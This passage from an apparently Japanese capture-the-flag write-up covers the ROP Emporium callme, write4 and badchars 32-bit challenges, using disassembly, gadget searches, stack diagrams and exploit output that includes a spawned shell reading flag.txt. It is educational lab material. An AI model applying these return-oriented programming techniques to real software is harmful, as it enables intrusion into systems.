callme_one , callme_two, callme_threeという見慣れない関数が3つあります.それぞれの関数に対して,第1引数4,第2引数5,第3引数6を渡しています.
今回は共有ライブラリとしてlibcallme32.soというファイルが渡されています.
$ file libcallme32.so libcallme32.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, BuildID[sha1]=9677f4f42dd5a13429a33e9bd46ca3eab3936934, not stripped
callme_one , callme_two, callme_threeの本体はそれぞれ,この共有ライブラリの中にあります.libcallme32.soを逆アセンブルします.
$ gdb libcallme32.so
callme_one
gdb-peda$ disas callme_one Dump of assembler code for function callme_one: 0x000006d0 <+0>: push ebp 0x000006d1 <+1>: mov ebp,esp 0x000006d3 <+3>: push ebx 0x000006d4 <+4>: sub esp,0x14 0x000006d7 <+7>: call 0x5a0 <__x86.get_pc_thunk.bx> 0x000006dc <+12>: add ebx,0x1924 0x000006e2 <+18>: cmp DWORD PTR [ebp+0x8],0x1 0x000006e6 <+22>: jne 0x7ab <callme_one+219> 0x000006ec <+28>: cmp DWORD PTR [ebp+0xc],0x2 0x000006f0 <+32>: jne 0x7ab <callme_one+219> 0x000006f6 <+38>: cmp DWORD PTR [ebp+0x10],0x3 0x000006fa <+42>: jne 0x7ab <callme_one+219> 0x00000700 <+48>: mov DWORD PTR [ebp-0xc],0x0 0x00000707 <+55>: sub esp,0x8 0x0000070a <+58>: lea eax,[ebx-0x163c] 0x00000710 <+64>: push eax 0x00000711 <+65>: lea eax,[ebx-0x163a] 0x00000717 <+71>: push eax 0x00000718 <+72>: call 0x570 <fopen@plt> 0x0000071d <+77>: add esp,0x10 0x00000720 <+80>: mov DWORD PTR [ebp-0xc],eax 0x00000723 <+83>: cmp DWORD PTR [ebp-0xc],0x0 0x00000727 <+87>: jne 0x745 <callme_one+117> 0x00000729 <+89>: sub esp,0xc 0x0000072c <+92>: lea eax,[ebx-0x1624] 0x00000732 <+98>: push eax 0x00000733 <+99>: call 0x550 <puts@plt> 0x00000738 <+104>: add esp,0x10 0x0000073b <+107>: sub esp,0xc 0x0000073e <+110>: push 0x1 0x00000740 <+112>: call 0x560 <exit@plt> 0x00000745 <+117>: sub esp,0xc 0x00000748 <+120>: push 0x21 0x0000074a <+122>: call 0x540 <malloc@plt> 0x0000074f <+127>: add esp,0x10 0x00000752 <+130>: mov DWORD PTR [ebx+0x34],eax 0x00000758 <+136>: mov eax,DWORD PTR [ebx+0x34] 0x0000075e <+142>: test eax,eax 0x00000760 <+144>: jne 0x77e <callme_one+174> 0x00000762 <+146>: sub esp,0xc 0x00000765 <+149>: lea eax,[ebx-0x1602] 0x0000076b <+155>: push eax 0x0000076c <+156>: call 0x550 <puts@plt> 0x00000771 <+161>: add esp,0x10 0x00000774 <+164>: sub esp,0xc 0x00000777 <+167>: push 0x1 0x00000779 <+169>: call 0x560 <exit@plt> 0x0000077e <+174>: mov eax,DWORD PTR [ebx+0x34] 0x00000784 <+180>: sub esp,0x4 0x00000787 <+183>: push DWORD PTR [ebp-0xc] 0x0000078a <+186>: push 0x21 0x0000078c <+188>: push eax 0x0000078d <+189>: call 0x520 <fgets@plt> 0x00000792 <+194>: add esp,0x10 0x00000795 <+197>: mov DWORD PTR [ebx+0x34],eax 0x0000079b <+203>: sub esp,0xc 0x0000079e <+206>: push DWORD PTR [ebp-0xc] 0x000007a1 <+209>: call 0x530 <fclose@plt> 0x000007a6 <+214>: add esp,0x10 0x000007a9 <+217>: jmp 0x7c7 <callme_one+247> 0x000007ab <+219>: sub esp,0xc 0x000007ae <+222>: lea eax,[ebx-0x15e8] 0x000007b4 <+228>: push eax 0x000007b5 <+229>: call 0x550 <puts@plt> 0x000007ba <+234>: add esp,0x10 0x000007bd <+237>: sub esp,0xc 0x000007c0 <+240>: push 0x1 0x000007c2 <+242>: call 0x560 <exit@plt> 0x000007c7 <+247>: nop 0x000007c8 <+248>: mov ebx,DWORD PTR [ebp-0x4] 0x000007cb <+251>: leave 0x000007cc <+252>: ret End of assembler dump.
ざっと見る感じ,第1引数が1,第2引数が2,第3引数が3ではなかったらexitするようになっていて,その後はfopenしてmallocで0x21分領域を確保し,fgetsでファイルから値を読みこんで,確保しておいた領域へ格納,みたいなことをやっています.
callme_twoを見てみます.
callme_two
gdb-peda$ disas callme_two Dump of assembler code for function callme_two: 0x000007cd <+0>: push ebp 0x000007ce <+1>: mov ebp,esp 0x000007d0 <+3>: push esi 0x000007d1 <+4>: push ebx 0x000007d2 <+5>: sub esp,0x10 0x000007d5 <+8>: call 0x5a0 <__x86.get_pc_thunk.bx> 0x000007da <+13>: add ebx,0x1826 0x000007e0 <+19>: cmp DWORD PTR [ebp+0x8],0x1 0x000007e4 <+23>: jne 0x88e <callme_two+193> 0x000007ea <+29>: cmp DWORD PTR [ebp+0xc],0x2 0x000007ee <+33>: jne 0x88e <callme_two+193> 0x000007f4 <+39>: cmp DWORD PTR [ebp+0x10],0x3 0x000007f8 <+43>: jne 0x88e <callme_two+193> 0x000007fe <+49>: mov DWORD PTR [ebp-0xc],0x0 0x00000805 <+56>: sub esp,0x8 0x00000808 <+59>: lea eax,[ebx-0x163c] 0x0000080e <+65>: push eax 0x0000080f <+66>: lea eax,[ebx-0x15d3] 0x00000815 <+72>: push eax 0x00000816 <+73>: call 0x570 <fopen@plt> 0x0000081b <+78>: add esp,0x10 0x0000081e <+81>: mov DWORD PTR [ebp-0xc],eax 0x00000821 <+84>: cmp DWORD PTR [ebp-0xc],0x0 0x00000825 <+88>: jne 0x843 <callme_two+118> 0x00000827 <+90>: sub esp,0xc 0x0000082a <+93>: lea eax,[ebx-0x15ca] 0x00000830 <+99>: push eax 0x00000831 <+100>: call 0x550 <puts@plt> 0x00000836 <+105>: add esp,0x10 0x00000839 <+108>: sub esp,0xc 0x0000083c <+111>: push 0x1 0x0000083e <+113>: call 0x560 <exit@plt> 0x00000843 <+118>: mov DWORD PTR [ebp-0x10],0x0 0x0000084a <+125>: mov DWORD PTR [ebp-0x10],0x0 0x00000851 <+132>: jmp 0x886 <callme_two+185> 0x00000853 <+134>: sub esp,0xc 0x00000856 <+137>: push DWORD PTR [ebp-0xc] 0x00000859 <+140>: call 0x580 <fgetc@plt> 0x0000085e <+145>: add esp,0x10 0x00000861 <+148>: mov esi,eax 0x00000863 <+150>: mov edx,DWORD PTR [ebx+0x34] 0x00000869 <+156>: mov eax,DWORD PTR [ebp-0x10] 0x0000086c <+159>: add eax,edx 0x0000086e <+161>: mov ecx,DWORD PTR [ebx+0x34] 0x00000874 <+167>: mov edx,DWORD PTR [ebp-0x10] 0x00000877 <+170>: add edx,ecx 0x00000879 <+172>: movzx edx,BYTE PTR [edx] 0x0000087c <+175>: mov ecx,esi 0x0000087e <+177>: xor edx,ecx 0x00000880 <+179>: mov BYTE PTR [eax],dl 0x00000882 <+181>: add DWORD PTR [ebp-0x10],0x1 0x00000886 <+185>: cmp DWORD PTR [ebp-0x10],0xf 0x0000088a <+189>: jle 0x853 <callme_two+134> 0x0000088c <+191>: jmp 0x8aa <callme_two+221> 0x0000088e <+193>: sub esp,0xc 0x00000891 <+196>: lea eax,[ebx-0x15e8] 0x00000897 <+202>: push eax 0x00000898 <+203>: call 0x550 <puts@plt> 0x0000089d <+208>: add esp,0x10 0x000008a0 <+211>: sub esp,0xc 0x000008a3 <+214>: push 0x1 0x000008a5 <+216>: call 0x560 <exit@plt> 0x000008aa <+221>: nop 0x000008ab <+222>: lea esp,[ebp-0x8] 0x000008ae <+225>: pop ebx 0x000008af <+226>: pop esi 0x000008b0 <+227>: pop ebp 0x000008b1 <+228>: ret
こちらも同様に,第1引数が1,第2引数が2,第3引数が3であるかどうかチェックした後,fopenしています.その後,0x0 → 0xfの16回のループに入っていますが,どうやらfgetcでfopenしたファイルから1文字ずつ読み取った値とcallme_oneで確保した領域をxorしています.
- 0x00000853 - 0x0000088a をループ
- movzx edx,BYTE PTR [edx] で callme_one で確保した領域から1バイト取り出し,edxに格納
- mov ecx,esi にてfopenしたファイルから読み取った1文字をecxに格納
- xor edx,ecx で2つの値をxor
最後に,callme_threeを見てみます.
callme_three
gdb-peda$ disas callme_three Dump of assembler code for function callme_three: 0x000008b2 <+0>: push ebp 0x000008b3 <+1>: mov ebp,esp 0x000008b5 <+3>: push esi 0x000008b6 <+4>: push ebx 0x000008b7 <+5>: sub esp,0x10 0x000008ba <+8>: call 0x5a0 <__x86.get_pc_thunk.bx> 0x000008bf <+13>: add ebx,0x1741 0x000008c5 <+19>: cmp DWORD PTR [ebp+0x8],0x1 0x000008c9 <+23>: jne 0x994 <callme_three+226> 0x000008cf <+29>: cmp DWORD PTR [ebp+0xc],0x2 0x000008d3 <+33>: jne 0x994 <callme_three+226> 0x000008d9 <+39>: cmp DWORD PTR [ebp+0x10],0x3 0x000008dd <+43>: jne 0x994 <callme_three+226> 0x000008e3 <+49>: mov DWORD PTR [ebp-0xc],0x0 0x000008ea <+56>: sub esp,0x8 0x000008ed <+59>: lea eax,[ebx-0x163c] 0x000008f3 <+65>: push eax 0x000008f4 <+66>: lea eax,[ebx-0x15b2] 0x000008fa <+72>: push eax 0x000008fb <+73>: call 0x570 <fopen@plt> 0x00000900 <+78>: add esp,0x10 0x00000903 <+81>: mov DWORD PTR [ebp-0xc],eax 0x00000906 <+84>: cmp DWORD PTR [ebp-0xc],0x0 0x0000090a <+88>: jne 0x928 <callme_three+118> 0x0000090c <+90>: sub esp,0xc 0x0000090f <+93>: lea eax,[ebx-0x15a9] 0x00000915 <+99>: push eax 0x00000916 <+100>: call 0x550 <puts@plt> 0x0000091b <+105>: add esp,0x10 0x0000091e <+108>: sub esp,0xc 0x00000921 <+111>: push 0x1 0x00000923 <+113>: call 0x560 <exit@plt> 0x00000928 <+118>: mov DWORD PTR [ebp-0x10],0x10 0x0000092f <+125>: mov DWORD PTR [ebp-0x10],0x10 0x00000936 <+132>: jmp 0x96b <callme_three+185> 0x00000938 <+134>: sub esp,0xc 0x0000093b <+137>: push DWORD PTR [ebp-0xc] 0x0000093e <+140>: call 0x580 <fgetc@plt> 0x00000943 <+145>: add esp,0x10 0x00000946 <+148>: mov esi,eax 0x00000948 <+150>: mov edx,DWORD PTR [ebx+0x34] 0x0000094e <+156>: mov eax,DWORD PTR [ebp-0x10] 0x00000951 <+159>: add eax,edx 0x00000953 <+161>: mov ecx,DWORD PTR [ebx+0x34] 0x00000959 <+167>: mov edx,DWORD PTR [ebp-0x10] 0x0000095c <+170>: add edx,ecx 0x0000095e <+172>: movzx edx,BYTE PTR [edx] 0x00000961 <+175>: mov ecx,esi 0x00000963 <+177>: xor edx,ecx 0x00000965 <+179>: mov BYTE PTR [eax],dl 0x00000967 <+181>: add DWORD PTR [ebp-0x10],0x1 0x0000096b <+185>: cmp DWORD PTR [ebp-0x10],0x1f 0x0000096f <+189>: jle 0x938 <callme_three+134> 0x00000971 <+191>: mov eax,DWORD PTR [ebx+0x34] 0x00000977 <+197>: sub esp,0x8 0x0000097a <+200>: push eax 0x0000097b <+201>: lea eax,[ebx-0x1591] 0x00000981 <+207>: push eax 0x00000982 <+208>: call 0x510 <printf@plt> 0x00000987 <+213>: add esp,0x10 0x0000098a <+216>: sub esp,0xc 0x0000098d <+219>: push 0x0 0x0000098f <+221>: call 0x560 <exit@plt> 0x00000994 <+226>: sub esp,0xc 0x00000997 <+229>: lea eax,[ebx-0x15e8] 0x0000099d <+235>: push eax 0x0000099e <+236>: call 0x550 <puts@plt> 0x000009a3 <+241>: add esp,0x10 0x000009a6 <+244>: sub esp,0xc 0x000009a9 <+247>: push 0x1 0x000009ab <+249>: call 0x560 <exit@plt> End of assembler dump.
oneとtwoと同様に第1引数が1,第2引数が2,第3引数が3であるかどうかチェックし,fopenしています.その後,twoで0xfまでカウントした変数を用いて,今度は0x1fまでループしています.つまりまた16回のループです.そして,twoと同様にxorしています.twoと違うのはその後です.何かをprintfで出力してexitしています.
今回はencrypted_flag.txtとkey1.dat, key2.datという3つのファイルが渡されていますが,ここまでの結果を元に考えると
- callme_oneでencrypted_flag.txtを開く
- callme_twoでkey1.datを開き,xorで半分を復号
- callme_threeでkey2.datを開き,xorでもう半分を復号
- なお,3つの関数の引数は1, 2, 3にしなければならない
こんな感じになりそうです.
問題文にも You must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag.
と書かれているので間違いなさそうです.
問題はこれらの関数をどういう風に呼ぶかですが,ここでROPというテクニックが出てきます.ROPとはReturn Oriented Programmingの略であり,popやret命令を繰り返しながらジャンプするように任意コードを実行していくものであり,これを実現するためにpopやretで固まっているコード片(通称ROP gadget)を探す必要があります.
今回の場合,
+-+-+-+-+-+-+-+ ↑low ............... +-+-+-+-+-+-+-+ callme_one +-+-+-+-+-+-+-+ return address +-+-+-+-+-+-+-+ 0x1 +-+-+-+-+-+-+-+ 0x2 +-+-+-+-+-+-+-+ 0x3 +-+-+-+-+-+-+-+ callme_two +-+-+-+-+-+-+-+ return address +-+-+-+-+-+-+-+ 0x1 +-+-+-+-+-+-+-+ 0x2 +-+-+-+-+-+-+-+ 0x3 +-+-+-+-+-+-+-+ callme_three +-+-+-+-+-+-+-+ return address +-+-+-+-+-+-+-+ 0x1 +-+-+-+-+-+-+-+ 0x2 +-+-+-+-+-+-+-+ 0x3 +-+-+-+-+-+-+-+ ............... +-+-+-+-+-+-+-+ ↓ high
このようなスタックの状態に持っていければ良いのですが,普通のreturn addressを渡してもcallme_oneを呼んだ後に次はcallme_two...という風に綺麗に繋がっていきません.そこで,以下のようなROP gadgetをreturn addressにするとどうでしょうか?
pop esi pop edi pop ebp ret
0x1, 0x2, 0x3をそれぞれpopしてからcallme_twoをret,0x1, 0x2, 0x3をpopしてcallme_threeをret という風に繋げることができます.このような連鎖をROP chainと言います.では,上記のようなROP gadgetを探します.
ROP gadgetを探すツールはいろいろありますが,簡単なものならpedaで十分です.pedaでstartしてからropgadgetコマンドを実行します.
$ gdb callme32 Reading symbols from callme32...(no debugging symbols found)...done. gdb-peda$ start ................................... gdb-peda$ ropgadget ret = 0x8048562 popret = 0x8048579 pop3ret = 0x80488a9 pop4ret = 0x80488a8 pop2ret = 0x80488aa addesp_12 = 0x8048576 addesp_16 = 0x80486a5
pop3retというのが上記のROP gadgetです.
gdb-peda$ x/4i 0x80488a9 0x80488a9 <__libc_csu_init+89>: pop esi 0x80488aa <__libc_csu_init+90>: pop edi 0x80488ab <__libc_csu_init+91>: pop ebp 0x80488ac <__libc_csu_init+92>: ret
これらの情報を元に,exploitを書いていきます.
exploit
$ python callme32-exploit.py [+] Starting local process './callme32': pid 14666 callme by ROP Emporium 32bits Hope you read the instructions... > [*] Process './callme32' stopped with exit code 0 (pid 14666) ROPE{a_placeholder_32byte_flag!}
おまけ
exploitの中に
f = open('input.txt', 'w') f.write(payload) f.close()
と書いて出力されたinput.txtを元に,gdbにて
$ gdb callme32 Reading symbols from callme32...(no debugging symbols found)...done. gdb-peda$ b *0xXXXXXXXX gdb-peda $ run < input.txt
(適当な場所にブレークポイントを仕掛けてから,実際にROPが実行されていく様をステップ実行してみると,より理解が深まるかと思います)
write4
$ file write432 write432: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1bbd4a55b5c333daf5020efbb77b8c38fc0d8601, not stripped $ ./write432 write4 by ROP Emporium 32bits Go ahead and give me the string already! > hoge Exiting
gdbで見てみます.
$ gdb write432 Reading symbols from write432...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ i func All defined functions: Non-debugging symbols: 0x080483c0 _init 0x08048400 printf@plt 0x08048410 fgets@plt 0x08048420 puts@plt 0x08048430 system@plt 0x08048440 __libc_start_main@plt 0x08048450 setvbuf@plt 0x08048460 memset@plt 0x08048480 _start 0x080484b0 __x86.get_pc_thunk.bx 0x080484c0 deregister_tm_clones 0x080484f0 register_tm_clones 0x08048530 __do_global_dtors_aux 0x08048550 frame_dummy 0x0804857b main 0x080485f6 pwnme 0x0804864c usefulFunction 0x08048670 usefulGadgets 0x08048680 __libc_csu_init 0x080486e0 __libc_csu_fini 0x080486e4 _fini
usefulGadgetsという関数が追加されています.
usefulFunction
gdb-peda$ disas usefulFunction Dump of assembler code for function usefulFunction: 0x0804864c <+0>: push ebp 0x0804864d <+1>: mov ebp,esp 0x0804864f <+3>: sub esp,0x8 0x08048652 <+6>: sub esp,0xc 0x08048655 <+9>: push 0x8048754 0x0804865a <+14>: call 0x8048430 <system@plt> 0x0804865f <+19>: add esp,0x10 0x08048662 <+22>: nop 0x08048663 <+23>: leave 0x08048664 <+24>: ret End of assembler dump. gdb-peda$ x/s 0x8048754 0x8048754: "/bin/ls"
usefulFunctionはlsするだけのようです.
usefulGadgets
gdb-peda$ disas usefulGadgets Dump of assembler code for function usefulGadgets: 0x08048670 <+0>: mov DWORD PTR [edi],ebp 0x08048672 <+2>: ret 0x08048673 <+3>: xchg ax,ax 0x08048675 <+5>: xchg ax,ax 0x08048677 <+7>: xchg ax,ax 0x08048679 <+9>: xchg ax,ax 0x0804867b <+11>: xchg ax,ax 0x0804867d <+13>: xchg ax,ax 0x0804867f <+15>: nop End of assembler dump.
どうやら mov DWORD PTR [edi],ebp
というGadgetを使うっぽいです.念のためsplit32の時のように都合のいい文字列が無いかstringsで探してみますが,見つかりません.このGadgetを使って,任意の文字列を格納するしかなさそうです.
このアセンブリは,ediに格納されている値を4バイトのアドレスと見て,そこにebpの値を格納します.ということは,ebpに任意の文字列を渡して,ediにとあるアドレスを格納しておけば,うまくいきそうです.
ediにはどういうアドレスを渡すべきでしょうか?
前提として,書き込み可能な領域でないとダメです.実行ファイル中にどんな領域があるのか調べてみます.
$ readelf -S write432 31 個のセクションヘッダ、始点オフセット 0x196c: セクションヘッダ: [番] 名前 タイプ アドレス Off サイズ ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4 [ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4 [ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000030 04 A 5 0 4 [ 5] .dynsym DYNSYM 080481dc 0001dc 0000d0 10 A 6 1 4 [ 6] .dynstr STRTAB 080482ac 0002ac 000081 00 A 0 0 1 [ 7] .gnu.version VERSYM 0804832e 00032e 00001a 02 A 5 0 2 [ 8] .gnu.version_r VERNEED 08048348 000348 000020 00 A 6 1 4 [ 9] .rel.dyn REL 08048368 000368 000020 08 A 5 0 4 [10] .rel.plt REL 08048388 000388 000038 08 AI 5 24 4 [11] .init PROGBITS 080483c0 0003c0 000023 00 AX 0 0 4 [12] .plt PROGBITS 080483f0 0003f0 000080 04 AX 0 0 16 [13] .plt.got PROGBITS 08048470 000470 000008 00 AX 0 0 8 [14] .text PROGBITS 08048480 000480 000262 00 AX 0 0 16 [15] .fini PROGBITS 080486e4 0006e4 000014 00 AX 0 0 4 [16] .rodata PROGBITS 080486f8 0006f8 000064 00 A 0 0 4 [17] .eh_frame_hdr PROGBITS 0804875c 00075c 00003c 00 A 0 0 4 [18] .eh_frame PROGBITS 08048798 000798 00010c 00 A 0 0 4 [19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4 [20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4 [21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4 [22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4 [23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4 [24] .got.plt PROGBITS 0804a000 001000 000028 04 WA 0 0 4 [25] .data PROGBITS 0804a028 001028 000008 00 WA 0 0 4 [26] .bss NOBITS 0804a040 001030 00002c 00 WA 0 0 32 [27] .comment PROGBITS 00000000 001030 000034 01 MS 0 0 1 [28] .shstrtab STRTAB 00000000 001861 00010a 00 0 0 1 [29] .symtab SYMTAB 00000000 001064 000510 10 30 50 4 [30] .strtab STRTAB 00000000 001574 0002ed 00 0 0 1 フラグのキー: W (write), A (alloc), X (実行), M (merge), S (文字列) I (情報), L (リンク順), G (グループ), T (TLS), E (排他), x (不明) O (追加の OS 処理が必要) o (OS 固有), p (プロセッサ固有)
Wというフラグが立っている場所が書き込み可能な場所です.あまり影響が出なそうな場所として,今回はbssセクションを使用してみます.bssセクションは初期化していないstaticな変数が格納される領域です.
次に,ROP gadgetを探します.pop edi; pop ebp; ret のようなGadgetを探しますが,これもpedaで十分です.
$ gdb write432 Reading symbols from write432...(no debugging symbols found)...done. gdb-peda$ start .............. gdb-peda$ ropgadget ret = 0x804819d popret = 0x80483e1 pop2ret = 0x80486da pop4ret = 0x80486d8 pop3ret = 0x80486d9 addesp_12 = 0x80483de addesp_16 = 0x80484e5 gdb-peda$ x/3i 0x80486da 0x80486da <__libc_csu_init+90>: pop edi 0x80486db <__libc_csu_init+91>: pop ebp 0x80486dc <__libc_csu_init+92>: ret gdb-peda$
pop2retというGadgetです.
引数の渡し方として,以下のように4バイトずつ渡していきます.2回目に書き込む場所としては,bss address + 4となります.
+-+-+-+-+-+-+-+ ↑low ............... +-+-+-+-+-+-+-+ pop2ret +-+-+-+-+-+-+-+ bss address +-+-+-+-+-+-+-+ "/bin" +-+-+-+-+-+-+-+ mov edi ebp +-+-+-+-+-+-+-+ ............... +-+-+-+-+-+-+-+ ↓ high
exploitは以下のようになります.
exploit
$ python write432-exploit.py [+] Starting local process './write432': pid 17483 write4 by ROP Emporium 32bits Go ahead and give me the string already! > [*] Switching to interactive mode $ $ whoami yyy $ cat flag.txt ROPE{a_placeholder_32byte_flag!}
badchars
$ file badchars32 badchars32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=646a0ec0b6adaad4385d7845987e7001264db871, not stripped $ ./badchars32 badchars by ROP Emporium 32bits badchars are: b i c / <space> f n s > hoge Exiting
gdbで見てみます.
$ gdb badchars32 Reading symbols from badchars32...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ i func All defined functions: Non-debugging symbols: 0x08048440 _init 0x08048480 printf@plt 0x08048490 free@plt 0x080484a0 memcpy@plt 0x080484b0 fgets@plt 0x080484c0 malloc@plt 0x080484d0 puts@plt 0x080484e0 system@plt 0x080484f0 exit@plt 0x08048500 __libc_start_main@plt 0x08048510 setvbuf@plt 0x08048520 memset@plt 0x08048540 _start 0x08048570 __x86.get_pc_thunk.bx 0x08048580 deregister_tm_clones 0x080485b0 register_tm_clones 0x080485f0 __do_global_dtors_aux 0x08048610 frame_dummy 0x0804863b main 0x080486b6 pwnme 0x080487a9 usefulFunction 0x080487c2 nstrlen 0x08048801 checkBadchars 0x08048890 usefulGadgets 0x080488a0 __libc_csu_init 0x08048900 __libc_csu_fini 0x08048904 _fini
nstrlen,checkbadcharsなど見慣れない関数があります.
usefulFunction
gdb-peda$ disas usefulFunction Dump of assembler code for function usefulFunction: 0x080487a9 <+0>: push ebp 0x080487aa <+1>: mov ebp,esp 0x080487ac <+3>: sub esp,0x8 0x080487af <+6>: sub esp,0xc 0x080487b2 <+9>: push 0x8048973 0x080487b7 <+14>: call 0x80484e0 <system@plt> 0x080487bc <+19>: add esp,0x10 0x080487bf <+22>: nop 0x080487c0 <+23>: leave 0x080487c1 <+24>: ret End of assembler dump. gdb-peda$ x/s 0x8048973 0x8048973: "/bin/ls"
またlsするだけの関数のようなので,write4の時と同様に/bin/shを引数にsystemを呼びたいところです.
nstrlen
gdb-peda$ disas nstrlen Dump of assembler code for function nstrlen: 0x080487c2 <+0>: push ebp 0x080487c3 <+1>: mov ebp,esp 0x080487c5 <+3>: sub esp,0x10 0x080487c8 <+6>: mov DWORD PTR [ebp-0x4],0x0 0x080487cf <+13>: mov DWORD PTR [ebp-0x4],0x0 0x080487d6 <+20>: jmp 0x80487f4 <nstrlen+50> 0x080487d8 <+22>: mov edx,DWORD PTR [ebp+0x8] 0x080487db <+25>: mov eax,DWORD PTR [ebp-0x4] 0x080487de <+28>: add eax,edx 0x080487e0 <+30>: movzx eax,BYTE PTR [eax] 0x080487e3 <+33>: cmp al,0xa 0x080487e5 <+35>: jne 0x80487f0 <nstrlen+46> 0x080487e7 <+37>: add DWORD PTR [ebp-0x4],0x1 0x080487eb <+41>: mov eax,DWORD PTR [ebp-0x4] 0x080487ee <+44>: jmp 0x80487ff <nstrlen+61> 0x080487f0 <+46>: add DWORD PTR [ebp-0x4],0x1 0x080487f4 <+50>: mov eax,DWORD PTR [ebp-0x4] 0x080487f7 <+53>: cmp eax,DWORD PTR [ebp+0xc] 0x080487fa <+56>: jb 0x80487d8 <nstrlen+22> 0x080487fc <+58>: mov eax,DWORD PTR [ebp-0x4] 0x080487ff <+61>: leave 0x08048800 <+62>: ret End of assembler dump.
0x80487d8 - 0x080487fa の間をループしていますが,注目すべきは0x080487e3のcmp al, 0xaで,0xaはASCIIコードで改行を表し,改行まで何文字あるかを,[ebp-0x4]の値を更新しながらループしているように見えます.つまり,入力値が何文字か調べる関数のようです.
checkBadchars
gdb-peda$ disas checkBadchars Dump of assembler code for function checkBadchars: 0x08048801 <+0>: push ebp 0x08048802 <+1>: mov ebp,esp 0x08048804 <+3>: sub esp,0x10 0x08048807 <+6>: mov BYTE PTR [ebp-0x10],0x62 0x0804880b <+10>: mov BYTE PTR [ebp-0xf],0x69 0x0804880f <+14>: mov BYTE PTR [ebp-0xe],0x63 0x08048813 <+18>: mov BYTE PTR [ebp-0xd],0x2f 0x08048817 <+22>: mov BYTE PTR [ebp-0xc],0x20 0x0804881b <+26>: mov BYTE PTR [ebp-0xb],0x66 0x0804881f <+30>: mov BYTE PTR [ebp-0xa],0x6e 0x08048823 <+34>: mov BYTE PTR [ebp-0x9],0x73 0x08048827 <+38>: mov DWORD PTR [ebp-0x4],0x0 0x0804882e <+45>: mov DWORD PTR [ebp-0x8],0x0 0x08048835 <+52>: mov DWORD PTR [ebp-0x4],0x0 0x0804883c <+59>: jmp 0x804887c <checkBadchars+123> 0x0804883e <+61>: mov DWORD PTR [ebp-0x8],0x0 0x08048845 <+68>: jmp 0x8048872 <checkBadchars+113> 0x08048847 <+70>: mov edx,DWORD PTR [ebp+0x8] // [ebp+0x8]は入力値 0x0804884a <+73>: mov eax,DWORD PTR [ebp-0x4] 0x0804884d <+76>: add eax,edx 0x0804884f <+78>: movzx edx,BYTE PTR [eax] 0x08048852 <+81>: lea ecx,[ebp-0x10] // [ebp-0x10]はbadcharsが格納された配列の先頭 0x08048855 <+84>: mov eax,DWORD PTR [ebp-0x8] 0x08048858 <+87>: add eax,ecx 0x0804885a <+89>: movzx eax,BYTE PTR [eax] 0x0804885d <+92>: cmp dl,al 0x0804885f <+94>: jne 0x804886e <checkBadchars+109> 0x08048861 <+96>: mov edx,DWORD PTR [ebp+0x8] 0x08048864 <+99>: mov eax,DWORD PTR [ebp-0x4] 0x08048867 <+102>: add eax,edx 0x08048869 <+104>: mov BYTE PTR [eax],0xeb 0x0804886c <+107>: jmp 0x8048878 <checkBadchars+119> 0x0804886e <+109>: add DWORD PTR [ebp-0x8],0x1 0x08048872 <+113>: cmp DWORD PTR [ebp-0x8],0x7 // [ebp-0x8]はbadcharsが格納された配列のindex 0x08048876 <+117>: jbe 0x8048847 <checkBadchars+70> 0x08048878 <+119>: add DWORD PTR [ebp-0x4],0x1 0x0804887c <+123>: mov eax,DWORD PTR [ebp-0x4] // [ebp-0x4]はカウンタ変数 0x0804887f <+126>: cmp eax,DWORD PTR [ebp+0xc] // [ebp+0xc]はnstrlenで求めた入力値の長さ 0x08048882 <+129>: jb 0x804883e <checkBadchars+61> 0x08048884 <+131>: nop 0x08048885 <+132>: leave 0x08048886 <+133>: ret End of assembler dump.
いくつかコメントを書きましたが,全体としては入力値の長さ分ループしています.そして,ループの中でさらに8回ループしていて,badcharsが入力値の中に存在していないかをチェックしています.もしbadcharsがあった場合,それを0xebに置換しています.なお,badcharsというのは "b", "i", "c", "/", "
usefulGadgets
gdb-peda$ disas usefulGadgets Dump of assembler code for function usefulGadgets: 0x08048890 <+0>: xor BYTE PTR [ebx],cl 0x08048892 <+2>: ret 0x08048893 <+3>: mov DWORD PTR [edi],esi 0x08048895 <+5>: ret 0x08048896 <+6>: pop ebx 0x08048897 <+7>: pop ecx 0x08048898 <+8>: ret 0x08048899 <+9>: pop esi 0x0804889a <+10>: pop edi 0x0804889b <+11>: ret 0x0804889c <+12>: xchg ax,ax 0x0804889e <+14>: xchg ax,ax End of assembler dump.
xorがあるので,これを上手く使えば入力値チェックをすり抜けられそうです.
pwnmeがいつもと少し変わっているので見ておきます.
pwnme
